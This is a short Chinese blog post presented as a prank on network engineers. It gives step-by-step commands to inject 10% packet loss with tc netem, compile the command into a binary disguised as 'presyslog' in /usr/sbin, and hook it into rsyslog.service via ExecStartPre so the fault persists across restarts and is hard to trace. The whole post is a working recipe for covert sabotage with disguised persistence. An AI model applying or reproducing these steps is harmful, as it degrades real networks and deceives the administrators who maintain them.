一个调戏网络工程师的办法

思路

在系统上造成网络故障的现象,并且难以在系统上发现问题。

tc命令

iproute2中的tc命名,可以模拟丢包和延时

/usr/sbin/tc qdisc add dev eth0 root netem loss 10%

修改方法

把命令编译成二进制

cat >> 1.c << EOF
#include
main()
{
system("/usr/sbin/tc qdisc add dev eth0 root netem  loss 10%");
}
EOF
gcc -o presyslog 1.c
cp presyslog /usr/sbin/

添加命令到常用服务 /usr/lib/systemd/system/rsyslog.service 的[Service]中,每次服务启动前运行命令

ExecStartPre=/usr/sbin/presyslog

重新启动服务

systemctl daemon-reload
systemctl restart rsyslog

效果

image.png

你可能感兴趣的:(一个调戏网络工程师的办法)